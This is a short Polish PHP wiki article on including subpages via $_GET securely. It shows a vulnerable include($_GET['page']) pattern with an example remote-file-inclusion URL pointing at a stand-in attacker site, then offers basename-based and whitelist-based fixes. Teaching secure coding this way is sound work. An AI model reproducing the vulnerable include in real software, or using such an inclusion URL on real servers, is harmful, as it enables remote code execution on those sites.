Jak dołączać pliki za pomocą include() i $ GET?

Z PHPEdia.pl
Skocz do: nawigacji, wyszukiwania

Aby dołączać podstrony Twojego serwisu przy pomocy tablicy superglobalnej $_GET, możesz użyć poniższego kodu, który da Ci tą możliwość, a jednocześnie jest bezpieczny.

Zazwyczaj każdy początkujący programista PHP wykorzystuje kod podobny do tego:

<?php
include( $_GET['page'] . '.php' );
?>

Jest to kod, dający potencjalnemu krakerowi możliwość wstawienia dowolnego kodu na Twoją stronę, wpisując np: http://www.twojserwer.com/niebezpiecznyinclude.php?page=http://www.stronakrakera.com/niebezpiecznyplik.php

W miarę bezpieczny, a jednocześnie elastyczny kod może wyglądać następująco:

<?php
if (empty($_GET['page']))
{
	$sPage = 'domyslnastrona';
}
else
{
	$sPage = basename($_GET['page']);
}
$sFileName = './folder_z_podstronami/' . $sPage . '.php';
if (!file_exists($sFileName))
{
	$sFileName = './folder_z_podstronami/domyslnastrona.php';
}
include ($sFileName);
?>

Bardziej bezpieczny, ale mniej elastyczny (dodanie nowej strony wymaga zmian tego kodu)

<?php
switch ($_GET['page'])
{
	case 'stronka':
	case 'inna_stronka':
		$sPage = $_GET['page'];
	break;
	case 'domyslnastrona':
	default:
		$sPage = 'domyslnastrona';
	break;
}
$sFileName = './folder_z_podstronami/' . $sPage . '.php';
include ($sFileName);
?>